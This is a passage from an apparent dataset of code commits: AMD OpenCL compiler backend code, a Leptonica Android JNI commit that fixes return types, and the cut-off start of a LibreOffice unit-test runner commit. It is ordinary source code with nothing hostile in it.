xLang = options->oVariables->XLang;\n if (xLang != NULL && strcmp(xLang, \"cl\")) {\n buildLog_ += \"Unsupported OpenCL language.\\n\";\n }\n\n \/\/FIXME_Nikolay: the program manager should be setting the language\n \/\/driverOptions.append(\" -x cl\");\n\n driverOptions.append(\" -cl-std=\").append(options->oVariables->CLStd);\n\n \/\/ Set the -O#\n std::ostringstream optLevel;\n optLevel << \" -O\" << options->oVariables->OptLevel;\n driverOptions.append(optLevel.str());\n\n \/\/ Set the machine target\n driverOptions.append(\" -mcpu=\");\n driverOptions.append(dev().deviceInfo().machineTarget_);\n\n driverOptions.append(options->llvmOptions);\n\n driverOptions.append(preprocessorOptions(options));\n\n \/\/Find the temp folder for the OS\n std::string tempFolder = amd::Os::getEnvironment(\"TEMP\");\n if (tempFolder.empty()) {\n tempFolder = amd::Os::getEnvironment(\"TMP\");\n if (tempFolder.empty()) {\n tempFolder = WINDOWS_SWITCH(\".\",\"\/tmp\");;\n }\n }\n \/\/Iterate through each source code and dump it into tmp\n std::fstream f;\n std::vector<std::string> headerFileNames(headers.size());\n std::vector<std::string> newDirs;\n for (size_t i = 0; i < headers.size(); ++i) {\n std::string headerPath = tempFolder;\n std::string headerIncludeName(headerIncludeNames[i]);\n \/\/ replace \/ in path with current os's file separator\n if ( amd::Os::fileSeparator() != '\/') {\n for (std::string::iterator it = headerIncludeName.begin(),\n end = headerIncludeName.end();\n it != end;\n ++it) {\n if (*it == '\/') *it = amd::Os::fileSeparator();\n }\n }\n size_t pos = headerIncludeName.rfind(amd::Os::fileSeparator());\n if (pos != std::string::npos) {\n headerPath += amd::Os::fileSeparator();\n headerPath += headerIncludeName.substr(0, pos);\n headerIncludeName = headerIncludeName.substr(pos+1);\n }\n if (!amd::Os::pathExists(headerPath)) {\n bool ret = amd::Os::createPath(headerPath);\n assert(ret && \"failed creating path!\");\n newDirs.push_back(headerPath);\n }\n std::string headerFullName\n = headerPath + amd::Os::fileSeparator() + headerIncludeName;\n headerFileNames[i] = headerFullName;\n f.open(headerFullName.c_str(), std::fstream::out);\n \/\/Should we allow asserts\n assert(!f.fail() && \"failed creating header file!\");\n f.write(headers[i]->c_str(), headers[i]->length());\n f.close();\n\n Data* inc = C->NewFileReference(DT_CL_HEADER, headerFileNames[i]);\n if (inc == NULL) {\n buildLog_ += \"Error while creating data from headers\";\n return false;\n }\n inputs.push_back(inc);\n }\n\n \/\/Set the include path for the temp folder that contains the includes\n if(!headers.empty()) {\n driverOptions.append(\" -I\");\n driverOptions.append(tempFolder);\n }\n\n if (options->isDumpFlagSet(amd::option::DUMP_CL)) {\n std::ofstream f(options->getDumpFileName(\".cl\").c_str(), std::ios::trunc);\n if(f.is_open()) {\n f << \"\/* Compiler options:\\n\" \\\n \"-c -emit-llvm -target amdgcn-amd-amdhsa-opencl -x cl \"\n << driverOptions << \" -include opencl-c.h \"\n << \"\\n*\/\\n\\n\" << sourceCode;\n } else {\n buildLog_ +=\n \"Warning: opening the file to dump the OpenCL source failed.\\n\";\n }\n }\n\n \/\/FIXME_lmoriche: has the CL option been validated?\n uint clcStd = (options->oVariables->CLStd[2] - '0') * 100\n + (options->oVariables->CLStd[4] - '0') * 10;\n\n std::pair<const void*, size_t> hdr;\n switch(clcStd) {\n case 120:\n hdr = std::make_pair(opencl1_2_c_amdgcn, opencl1_2_c_amdgcn_size);\n break;\n case 200:\n hdr = std::make_pair(opencl2_0_c_amdgcn, opencl2_0_c_amdgcn_size);\n break;\n default:\n buildLog_ += \"Unsupported requested OpenCL C version (-cl-std).\\n\";\n return false;\n }\n\n File* pch = C->NewTempFile(DT_CL_HEADER);\n if (pch == NULL || !pch->WriteData((const char*) hdr.first, hdr.second)) {\n buildLog_ += \"Error while opening the opencl-c header \";\n return false;\n }\n\n driverOptions.append(\" -include-pch \" + pch->Name());\n driverOptions.append(\" -Xclang -fno-validate-pch\");\n\n \/\/ Tokenize the options string into a vector of strings\n std::istringstream istrstr(driverOptions);\n std::istream_iterator<std::string> sit(istrstr), end;\n std::vector<std::string> params(sit, end);\n\n \/\/ Compile source to IR\n bool ret = C->CompileToLLVMBitcode(inputs, output, params);\n buildLog_ += C->Output();\n if (!ret) {\n buildLog_ += \"Error: Failed to compile opencl source (from CL to LLVM IR).\\n\";\n return false;\n }\n\n llvmBinary_.assign(output->Buf().data(), output->Size());\n elfSectionType_ = amd::OclElf::LLVMIR;\n\n if (options->isDumpFlagSet(amd::option::DUMP_BC_ORIGINAL)) {\n std::ofstream f(options->getDumpFileName(\"_original.bc\").c_str(), std::ios::trunc);\n if(f.is_open()) {\n f.write(llvmBinary_.data(), llvmBinary_.size());\n } else {\n buildLog_ +=\n \"Warning: opening the file to dump the compiled IR failed.\\n\";\n }\n }\n\n if (clBinary()->saveSOURCE()) {\n clBinary()->elfOut()->addSection(\n amd::OclElf::SOURCE, sourceCode.data(), sourceCode.size());\n }\n if (clBinary()->saveLLVMIR()) {\n clBinary()->elfOut()->addSection(\n amd::OclElf::LLVMIR, llvmBinary_.data(), llvmBinary_.size(), false);\n \/\/ store the original compile options\n clBinary()->storeCompileOptions(compileOptions_);\n }\n return true;\n}\n#endif \/\/ defined(WITH_LIGHTNING_COMPILER)\n\nbool\nHSAILProgram::compileImpl(\n const std::string& sourceCode,\n const std::vector<const std::string*>& headers,\n const char** headerIncludeNames,\n amd::option::Options* options)\n{\n#if defined(WITH_LIGHTNING_COMPILER)\n return compileImpl_LC(sourceCode, headers, headerIncludeNames, options);\n#else \/\/ !defined(WITH_LIGHTNING_COMPILER)\n acl_error errorCode;\n aclTargetInfo target;\n\n target = g_complibApi._aclGetTargetInfo(LP64_SWITCH(\"hsail\",\"hsail64\"),\n dev().deviceInfo().complibTarget_, &errorCode);\n\n \/\/end if asic info is ready\n \/\/ We dump the source code for each program (param: headers)\n \/\/ into their filenames (headerIncludeNames) into the TEMP\n \/\/ folder specific to the OS and add the include path while\n \/\/ compiling\n\n \/\/Find the temp folder for the OS\n std::string tempFolder = amd::Os::getEnvironment(\"TEMP\");\n if (tempFolder.empty()) {\n tempFolder = amd::Os::getEnvironment(\"TMP\");\n if (tempFolder.empty()) {\n tempFolder = WINDOWS_SWITCH(\".\",\"\/tmp\");;\n }\n }\n \/\/Iterate through each source code and dump it into tmp\n std::fstream f;\n std::vector<std::string> headerFileNames(headers.size());\n std::vector<std::string> newDirs;\n for (size_t i = 0; i < headers.size(); ++i) {\n std::string headerPath = tempFolder;\n std::string headerIncludeName(headerIncludeNames[i]);\n \/\/ replace \/ in path with current os's file separator\n if ( amd::Os::fileSeparator() != '\/') {\n for (std::string::iterator it = headerIncludeName.begin(),\n end = headerIncludeName.end();\n it != end;\n ++it) {\n if (*it == '\/') *it = amd::Os::fileSeparator();\n }\n }\n size_t pos = headerIncludeName.rfind(amd::Os::fileSeparator());\n if (pos != std::string::npos) {\n headerPath += amd::Os::fileSeparator();\n headerPath += headerIncludeName.substr(0, pos);\n headerIncludeName = headerIncludeName.substr(pos+1);\n }\n if (!amd::Os::pathExists(headerPath)) {\n bool ret = amd::Os::createPath(headerPath);\n assert(ret && \"failed creating path!\");\n newDirs.push_back(headerPath);\n }\n std::string headerFullName\n = headerPath + amd::Os::fileSeparator() + headerIncludeName;\n headerFileNames[i] = headerFullName;\n f.open(headerFullName.c_str(), std::fstream::out);\n \/\/Should we allow asserts\n assert(!f.fail() && \"failed creating header file!\");\n f.write(headers[i]->c_str(), headers[i]->length());\n f.close();\n }\n\n \/\/Create Binary\n binaryElf_ = g_complibApi._aclBinaryInit(sizeof(aclBinary),\n &target,\n &binOpts_,\n &errorCode);\n\n if( errorCode!=ACL_SUCCESS ) {\n buildLog_ += \"Error while compiling opencl source:\\\n aclBinary init failure \\n\";\n LogWarning(\"aclBinaryInit failed\");\n return false;\n }\n\n \/\/Insert opencl into binary\n errorCode = g_complibApi._aclInsertSection(device().compiler(),\n binaryElf_,\n sourceCode.c_str(),\n strlen(sourceCode.c_str()),\n aclSOURCE);\n\n if ( errorCode != ACL_SUCCESS ) {\n buildLog_ += \"Error while converting to BRIG: \\\n Inserting openCl Source \\n\";\n }\n\n \/\/Set the options for the compiler\n \/\/Set the include path for the temp folder that contains the includes\n if(!headers.empty()) {\n this->compileOptions_.append(\" -I\");\n this->compileOptions_.append(tempFolder);\n }\n\n \/\/Add only for CL2.0 and later\n if (options->oVariables->CLStd[2] >= '2') {\n std::stringstream opts;\n opts << \" -D\" << \"CL_DEVICE_MAX_GLOBAL_VARIABLE_SIZE=\"\n << device().info().maxGlobalVariableSize_;\n compileOptions_.append(opts.str());\n }\n\n \/\/Compile source to IR\n this->compileOptions_.append(preprocessorOptions(options));\n this->compileOptions_.append(codegenOptions(options));\n\n errorCode = g_complibApi._aclCompile(device().compiler(),\n binaryElf_,\n \/\/\"-Wf,--support_all_extensions\",\n this->compileOptions_.c_str(),\n ACL_TYPE_OPENCL,\n ACL_TYPE_LLVMIR_BINARY,\n logFunction);\n buildLog_ += g_complibApi._aclGetCompilerLog(device().compiler());\n if( errorCode!=ACL_SUCCESS ) {\n LogWarning(\"aclCompile failed\");\n buildLog_ += \"Error while compiling \\\n opencl source: Compiling CL to IR\";\n return false;\n }\n \/\/ Save the binary in the interface class\n saveBinaryAndSetType(TYPE_COMPILED);\n return true;\n#endif \/\/ !defined(WITH_LIGHTNING_COMPILER)\n}\n\n#if defined(WITH_LIGHTNING_COMPILER)\n#if defined(ATI_OS_LINUX)\nstatic pthread_once_t once = PTHREAD_ONCE_INIT;\n\nstatic void\ncheckLLVM_BIN()\n{\n if (llvmBin_.empty()) {\n Dl_info info;\n if (dladdr((const void*)&amd::Device::init, &info)) {\n llvmBin_ = dirname(strdup(info.dli_fname));\n size_t pos = llvmBin_.rfind(\"lib\");\n if (pos != std::string::npos) {\n llvmBin_.replace(pos, 3, \"bin\");\n }\n }\n }\n#if defined(DEBUG)\n std::string clangExe(llvmBin_ + \"\/clang\");\n struct stat buf;\n if (stat(clangExe.c_str(), &buf)) {\n std::string msg(\"Could not find the Clang binary in \" + llvmBin_);\n LogWarning(msg.c_str());\n }\n#endif \/\/ defined(DEBUG)\n}\n#endif \/\/ defined(ATI_OS_LINUX)\n\nstd::auto_ptr<amd::opencl_driver::Compiler>\nHSAILProgram::newCompilerInstance()\n{\n#if defined(ATI_OS_LINUX)\n pthread_once(&once, checkLLVM_BIN);\n#endif \/\/ defined(ATI_OS_LINUX)\n return std::auto_ptr<amd::opencl_driver::Compiler>(\n amd::opencl_driver::CompilerFactory().CreateAMDGPUCompiler(llvmBin_));\n}\n#endif \/\/ defined(WITH_LIGHTNING_COMPILER)\n\n} \/\/ namespace roc\n#endif \/\/ WITHOUT_GPU_BACKEND\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2011, Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"common.h\"\n\n#include <string.h>\n#include <android\/bitmap.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n\/************\n * ReadFile *\n ************\/\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadMem(JNIEnv *env, jclass clazz,\n jbyteArray image, jint length) {\n jbyte *image_buffer = env->GetByteArrayElements(image, NULL);\n int buffer_length = env->GetArrayLength(image);\n\n PIX *pix = pixReadMem((const l_uint8 *) image_buffer, buffer_length);\n\n env->ReleaseByteArrayElements(image, image_buffer, JNI_ABORT);\n\n return (jlong) pix;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadBytes8(JNIEnv *env, jclass clazz,\n jbyteArray data, jint w,\n jint h) {\n PIX *pix = pixCreateNoInit((l_int32) w, (l_int32) h, 8);\n l_uint8 **lineptrs = pixSetupByteProcessing(pix, NULL, NULL);\n jbyte *data_buffer = env->GetByteArrayElements(data, NULL);\n l_uint8 *byte_buffer = (l_uint8 *) data_buffer;\n\n for (int i = 0; i < h; i++) {\n memcpy(lineptrs[i], (byte_buffer + (i * w)), w);\n }\n\n env->ReleaseByteArrayElements(data, data_buffer, JNI_ABORT);\n pixCleanupByteProcessing(pix, lineptrs);\n\n l_int32 d;\n\n pixGetDimensions(pix, &w, &h, &d);\n\n LOGE(\"Created image width w=%d, h=%d, d=%d\", w, h, d);\n\n return (jlong) pix;\n}\n\njboolean Java_com_googlecode_leptonica_android_ReadFile_nativeReplaceBytes8(JNIEnv *env,\n jclass clazz,\n jlong nativePix,\n jbyteArray data,\n jint srcw, jint srch) {\n PIX *pix = (PIX *) nativePix;\n l_int32 w, h, d;\n\n pixGetDimensions(pix, &w, &h, &d);\n\n if (d != 8 || (l_int32) srcw != w || (l_int32) srch != h) {\n LOGE(\"Failed to replace bytes at w=%d, h=%d, d=%d with w=%d, h=%d\", w, h, d, srcw, srch);\n\n return JNI_FALSE;\n }\n\n l_uint8 **lineptrs = pixSetupByteProcessing(pix, NULL, NULL);\n jbyte *data_buffer = env->GetByteArrayElements(data, NULL);\n l_uint8 *byte_buffer = (l_uint8 *) data_buffer;\n\n for (int i = 0; i < h; i++) {\n memcpy(lineptrs[i], (byte_buffer + (i * w)), w);\n }\n\n env->ReleaseByteArrayElements(data, data_buffer, JNI_ABORT);\n pixCleanupByteProcessing(pix, lineptrs);\n\n return JNI_TRUE;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadFiles(JNIEnv *env, jclass clazz,\n jstring dirName, jstring prefix) {\n PIXA *pixad = NULL;\n\n const char *c_dirName = env->GetStringUTFChars(dirName, NULL);\n if (c_dirName == NULL) {\n LOGE(\"could not extract dirName string!\");\n return JNI_FALSE;\n }\n\n const char *c_prefix = env->GetStringUTFChars(prefix, NULL);\n if (c_prefix == NULL) {\n LOGE(\"could not extract prefix string!\");\n return JNI_FALSE;\n }\n\n pixad = pixaReadFiles(c_dirName, c_prefix);\n\n env->ReleaseStringUTFChars(dirName, c_dirName);\n env->ReleaseStringUTFChars(prefix, c_prefix);\n\n return (jlong) pixad;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadFile(JNIEnv *env, jclass clazz,\n jstring fileName) {\n PIX *pixd = NULL;\n\n const char *c_fileName = env->GetStringUTFChars(fileName, NULL);\n if (c_fileName == NULL) {\n LOGE(\"could not extract fileName string!\");\n return JNI_FALSE;\n }\n\n pixd = pixRead(c_fileName);\n\n env->ReleaseStringUTFChars(fileName, c_fileName);\n\n return (jlong) pixd;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadBitmap(JNIEnv *env, jclass clazz,\n jobject bitmap) {\n l_int32 w, h, d;\n AndroidBitmapInfo info;\n void* pixels;\n int ret;\n\n if ((ret = AndroidBitmap_getInfo(env, bitmap, &info)) < 0) {\n LOGE(\"AndroidBitmap_getInfo() failed ! error=%d\", ret);\n return JNI_FALSE;\n }\n\n if (info.format != ANDROID_BITMAP_FORMAT_RGBA_8888) {\n LOGE(\"Bitmap format is not RGBA_8888 !\");\n return JNI_FALSE;\n }\n\n if ((ret = AndroidBitmap_lockPixels(env, bitmap, &pixels)) < 0) {\n LOGE(\"AndroidBitmap_lockPixels() failed ! error=%d\", ret);\n return JNI_FALSE;\n }\n\n PIX *pixd = pixCreate(info.width, info.height, 8);\n\n l_uint32 *src = (l_uint32 *) pixels;\n l_int32 srcWpl = (info.stride \/ 4);\n l_uint32 *dst = pixGetData(pixd);\n l_int32 dstWpl = pixGetWpl(pixd);\n l_uint8 a, r, g, b, pixel8;\n\n for (int y = 0; y < info.height; y++) {\n l_uint32 *dst_line = dst + (y * dstWpl);\n l_uint32 *src_line = src + (y * srcWpl);\n\n for (int x = 0; x < info.width; x++) {\n \/\/ Get pixel from RGBA_8888\n r = *src_line >> SK_R32_SHIFT;\n g = *src_line >> SK_G32_SHIFT;\n b = *src_line >> SK_B32_SHIFT;\n a = *src_line >> SK_A32_SHIFT;\n pixel8 = (l_uint8)((r + g + b) \/ 3);\n\n \/\/ Set pixel to LUMA_8\n SET_DATA_BYTE(dst_line, x, pixel8);\n\n \/\/ Move to the next pixel\n src_line++;\n }\n }\n\n AndroidBitmap_unlockPixels(env, bitmap);\n\n return (jlong) pixd;\n}\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n<commit_msg>Fix return type<commit_after>\/*\n * Copyright 2011, Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"common.h\"\n\n#include <string.h>\n#include <android\/bitmap.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n\/************\n * ReadFile *\n ************\/\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadMem(JNIEnv *env, jclass clazz,\n jbyteArray image, jint length) {\n jbyte *image_buffer = env->GetByteArrayElements(image, NULL);\n int buffer_length = env->GetArrayLength(image);\n\n PIX *pix = pixReadMem((const l_uint8 *) image_buffer, buffer_length);\n\n env->ReleaseByteArrayElements(image, image_buffer, JNI_ABORT);\n\n return (jlong) pix;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadBytes8(JNIEnv *env, jclass clazz,\n jbyteArray data, jint w,\n jint h) {\n PIX *pix = pixCreateNoInit((l_int32) w, (l_int32) h, 8);\n l_uint8 **lineptrs = pixSetupByteProcessing(pix, NULL, NULL);\n jbyte *data_buffer = env->GetByteArrayElements(data, NULL);\n l_uint8 *byte_buffer = (l_uint8 *) data_buffer;\n\n for (int i = 0; i < h; i++) {\n memcpy(lineptrs[i], (byte_buffer + (i * w)), w);\n }\n\n env->ReleaseByteArrayElements(data, data_buffer, JNI_ABORT);\n pixCleanupByteProcessing(pix, lineptrs);\n\n l_int32 d;\n\n pixGetDimensions(pix, &w, &h, &d);\n\n LOGE(\"Created image width w=%d, h=%d, d=%d\", w, h, d);\n\n return (jlong) pix;\n}\n\njboolean Java_com_googlecode_leptonica_android_ReadFile_nativeReplaceBytes8(JNIEnv *env,\n jclass clazz,\n jlong nativePix,\n jbyteArray data,\n jint srcw, jint srch) {\n PIX *pix = (PIX *) nativePix;\n l_int32 w, h, d;\n\n pixGetDimensions(pix, &w, &h, &d);\n\n if (d != 8 || (l_int32) srcw != w || (l_int32) srch != h) {\n LOGE(\"Failed to replace bytes at w=%d, h=%d, d=%d with w=%d, h=%d\", w, h, d, srcw, srch);\n\n return JNI_FALSE;\n }\n\n l_uint8 **lineptrs = pixSetupByteProcessing(pix, NULL, NULL);\n jbyte *data_buffer = env->GetByteArrayElements(data, NULL);\n l_uint8 *byte_buffer = (l_uint8 *) data_buffer;\n\n for (int i = 0; i < h; i++) {\n memcpy(lineptrs[i], (byte_buffer + (i * w)), w);\n }\n\n env->ReleaseByteArrayElements(data, data_buffer, JNI_ABORT);\n pixCleanupByteProcessing(pix, lineptrs);\n\n return JNI_TRUE;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadFiles(JNIEnv *env, jclass clazz,\n jstring dirName, jstring prefix) {\n PIXA *pixad = NULL;\n\n const char *c_dirName = env->GetStringUTFChars(dirName, NULL);\n if (c_dirName == NULL) {\n LOGE(\"could not extract dirName string!\");\n return (jlong) NULL;\n }\n\n const char *c_prefix = env->GetStringUTFChars(prefix, NULL);\n if (c_prefix == NULL) {\n LOGE(\"could not extract prefix string!\");\n return (jlong) NULL;\n }\n\n pixad = pixaReadFiles(c_dirName, c_prefix);\n\n env->ReleaseStringUTFChars(dirName, c_dirName);\n env->ReleaseStringUTFChars(prefix, c_prefix);\n\n return (jlong) pixad;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadFile(JNIEnv *env, jclass clazz,\n jstring fileName) {\n PIX *pixd = NULL;\n\n const char *c_fileName = env->GetStringUTFChars(fileName, NULL);\n if (c_fileName == NULL) {\n LOGE(\"could not extract fileName string!\");\n return (jlong) NULL;\n }\n\n pixd = pixRead(c_fileName);\n\n env->ReleaseStringUTFChars(fileName, c_fileName);\n\n return (jlong) pixd;\n}\n\njlong Java_com_googlecode_leptonica_android_ReadFile_nativeReadBitmap(JNIEnv *env, jclass clazz,\n jobject bitmap) {\n l_int32 w, h, d;\n AndroidBitmapInfo info;\n void* pixels;\n int ret;\n\n if ((ret = AndroidBitmap_getInfo(env, bitmap, &info)) < 0) {\n LOGE(\"AndroidBitmap_getInfo() failed ! error=%d\", ret);\n return (jlong) NULL;\n }\n\n if (info.format != ANDROID_BITMAP_FORMAT_RGBA_8888) {\n LOGE(\"Bitmap format is not RGBA_8888 !\");\n return (jlong) NULL;\n }\n\n if ((ret = AndroidBitmap_lockPixels(env, bitmap, &pixels)) < 0) {\n LOGE(\"AndroidBitmap_lockPixels() failed ! error=%d\", ret);\n return (jlong) NULL;\n }\n\n PIX *pixd = pixCreate(info.width, info.height, 8);\n\n l_uint32 *src = (l_uint32 *) pixels;\n l_int32 srcWpl = (info.stride \/ 4);\n l_uint32 *dst = pixGetData(pixd);\n l_int32 dstWpl = pixGetWpl(pixd);\n l_uint8 a, r, g, b, pixel8;\n\n for (int y = 0; y < info.height; y++) {\n l_uint32 *dst_line = dst + (y * dstWpl);\n l_uint32 *src_line = src + (y * srcWpl);\n\n for (int x = 0; x < info.width; x++) {\n \/\/ Get pixel from RGBA_8888\n r = *src_line >> SK_R32_SHIFT;\n g = *src_line >> SK_G32_SHIFT;\n b = *src_line >> SK_B32_SHIFT;\n a = *src_line >> SK_A32_SHIFT;\n pixel8 = (l_uint8)((r + g + b) \/ 3);\n\n \/\/ Set pixel to LUMA_8\n SET_DATA_BYTE(dst_line, x, pixel8);\n\n \/\/ Move to the next pixel\n src_line++;\n }\n }\n\n AndroidBitmap_unlockPixels(env, bitmap);\n\n return (jlong) pixd;\n}\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n*\n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n*\n* Copyright 2000, 2010 Oracle and\/or its affiliates.\n*\n* OpenOffice.org - a multi-platform office productivity suite\n*\n* This file is part of OpenOffice.org.\n*\n* OpenOffice.org is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU Lesser General Public License version 3\n* only, as published by the Free Software Foundation.\n*\n* OpenOffice.org is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU Lesser General Public License version 3 for more details\n* (a copy is included in the LICENSE file that accompanied this code).\n*\n* You should have received a copy of the GNU Lesser General Public License\n* version 3 along with OpenOffice.org. If not, see\n* <http:\/\/www.openoffice.org\/license.html>\n* for a copy of the LGPLv3 License.\n*\n************************************************************************\/\n\n#include \"precompiled_sal.hxx\"\n#include \"sal\/config.h\"\n#include \"sal\/precppunit.hxx\"\n\n#ifdef WNT\n#include <windows.h>\n#endif\n\n#include <cstdlib>\n#include <iostream>\n#include <limits>\n#include <string>\n#include \"cppunittester\/protectorfactory.hxx\"\n#include \"osl\/module.h\"\n#include \"osl\/module.hxx\"\n#include \"osl\/thread.h\"\n#include \"rtl\/process.h\"\n#include \"rtl\/string.h\"\n#include \"rtl\/string.hxx\"\n#include \"rtl\/textcvt.h\"\n#include \"rtl\/ustring.hxx\"\n#include \"sal\/main.h\"\n#include \"sal\/types.h\"\n\n#include \"cppunit\/CompilerOutputter.h\"\n#include \"cppunit\/TestResult.h\"\n#include \"cppunit\/TestResultCollector.h\"\n#include \"cppunit\/TestRunner.h\"\n#include \"cppunit\/extensions\/TestFactoryRegistry.h\"\n#include \"cppunit\/plugin\/PlugInManager.h\"\n#include \"cppunit\/portability\/Stream.h\"\n\n#include \"boost\/noncopyable.hpp\"\n\nnamespace {\n\nvoid usageFailure() {\n std::cerr\n << (\"Usage: cppunittester (--protector <shared-library-path>\"\n \" <function-symbol>)* <shared-library-path>\")\n << std::endl;\n std::exit(EXIT_FAILURE);\n}\n\nrtl::OUString getArgument(sal_Int32 index) {\n rtl::OUString arg;\n rtl_getAppCommandArg(index, &arg.pData);\n return arg;\n}\n\nstd::string convertLazy(rtl::OUString const & s16) {\n rtl::OString s8(rtl::OUStringToOString(s16, osl_getThreadTextEncoding()));\n return std::string(\n s8.getStr(),\n ((static_cast< sal_uInt32 >(s8.getLength())\n > (std::numeric_limits< std::string::size_type >::max)())\n ? (std::numeric_limits< std::string::size_type >::max)()\n : static_cast< std::string::size_type >(s8.getLength())));\n}\n\n\/\/Output how long each test took\nclass TimingListener\n : public CppUnit::TestListener\n , private boost::noncopyable\n{\npublic:\n void startTest( CppUnit::Test *)\n {\n m_nStartTime = osl_getGlobalTimer();\n }\n\n void endTest( CppUnit::Test *test )\n {\n sal_uInt32 nEndTime = osl_getGlobalTimer();\n std::cout << test->getName() << \": \" << nEndTime-m_nStartTime\n << \"ms\" << std::endl;\n }\n\nprivate:\n sal_uInt32 m_nStartTime;\n};\n\n\/\/Allow the whole uniting testing framework to be run inside a \"Protector\"\n\/\/which knows about uno exceptions, so it can print the content of the\n\/\/exception before falling over and dying\nclass CPPUNIT_API ProtectedFixtureFunctor\n : public CppUnit::Functor\n , private boost::noncopyable\n{\nprivate:\n const std::string &testlib;\n const std::string &args;\n CppUnit::TestResult &result;\npublic:\n ProtectedFixtureFunctor(const std::string& testlib_, const std::string &args_, CppUnit::TestResult &result_)\n : testlib(testlib_)\n , args(args_)\n , result(result_)\n {\n }\n bool run() const\n {\n CppUnit::PlugInManager manager;\n manager.load(testlib, args);\n\n CppUnit::TestRunner runner;\n runner.addTest(CppUnit::TestFactoryRegistry::getRegistry().makeTest());\n\n CppUnit::TestResultCollector collector;\n result.addListener(&collector);\n\n#ifdef TIMETESTS\n TimingListener timer;\n result.addListener(&timer);\n#endif\n\n runner.run(result);\n\n CppUnit::CompilerOutputter(&collector, CppUnit::stdCErr()).write();\n return collector.wasSuccessful();\n }\n virtual bool operator()() const\n {\n return run();\n }\n};\n\n}\n\nSAL_IMPLEMENT_MAIN() {\n#ifdef WNT\n \/\/Disable Dr-Watson in order to crash simply without popup dialogs under\n \/\/windows\n DWORD dwMode = SetErrorMode(SEM_NOGPFAULTERRORBOX);\n SetErrorMode(SEM_NOGPFAULTERRORBOX|dwMode);\n#ifdef _DEBUG \/\/ These functions are present only in the debgging runtime\n _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_DEBUG|_CRTDBG_MODE_FILE);\n _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDERR);\n _CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG|_CRTDBG_MODE_FILE);\n _CrtSetReportFile(_CRT_ERROR, _CRTDBG_FILE_STDERR);\n _CrtSetReportMode(_CRT_ASSERT, _CRTDBG_MODE_DEBUG|_CRTDBG_MODE_FILE);\n _CrtSetReportFile(_CRT_ASSERT, _CRTDBG_FILE_STDERR);\n#endif\n#endif\n\n CppUnit::TestResult result;\n cppunittester::LibreOfficeProtector *throw_protector = 0;\n std::string args;\n std::string testlib;\n sal_uInt32 index = 0;\n while (index < rtl_getAppCommandArgCount())\n {\n rtl::OUString arg = getArgument(index);\n if (!arg.equalsAsciiL(RTL_CONSTASCII_STRINGPARAM(\"--protector\")))\n {\n if (testlib.empty())\n {\n testlib = rtl::OUStringToOString(arg, osl_getThreadTextEncoding()).getStr();\n args += testlib;\n }\n else\n {\n args += ' ';\n args += rtl::OUStringToOString(arg, osl_getThreadTextEncoding()).getStr();\n }\n ++index;\n continue;\n }\n if (rtl_getAppCommandArgCount() - index < 3) {\n usageFailure();\n }\n rtl::OUString lib(getArgument(index + 1));\n rtl::OUString sym(getArgument(index + 2));\n oslGenericFunction fn = (new osl::Module(lib, SAL_LOADMODULE_GLOBAL))\n ->getFunctionSymbol(sym);\n throw_protector = fn == 0\n ? 0\n : (*reinterpret_cast< cppunittester::ProtectorFactory * >(fn))();\n if (throw_protector == 0) {\n std::cerr\n << \"Failure instantiating protector \\\"\" << convertLazy(lib)\n << \"\\\", \\\"\" << convertLazy(sym) << '\"' << std::endl;\n std::exit(EXIT_FAILURE);\n }\n result.pushProtector(throw_protector);\n index+=3;\n }\n\n bool ok = false;\n ProtectedFixtureFunctor tests(testlib, args, result);\n \/\/if the unoprotector was given on the command line, use it to catch\n \/\/and report the error message of exceptions\n if (throw_protector)\n ok = throw_protector->protect(tests);\n else\n ok = tests.run();\n\n return ok ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>easier to find leaks if the test harness doesn't leak<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n*\n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n*\n* Copyright 2000, 2010 Oracle and\/or its affiliates.\n*\n* OpenOffice.org - a 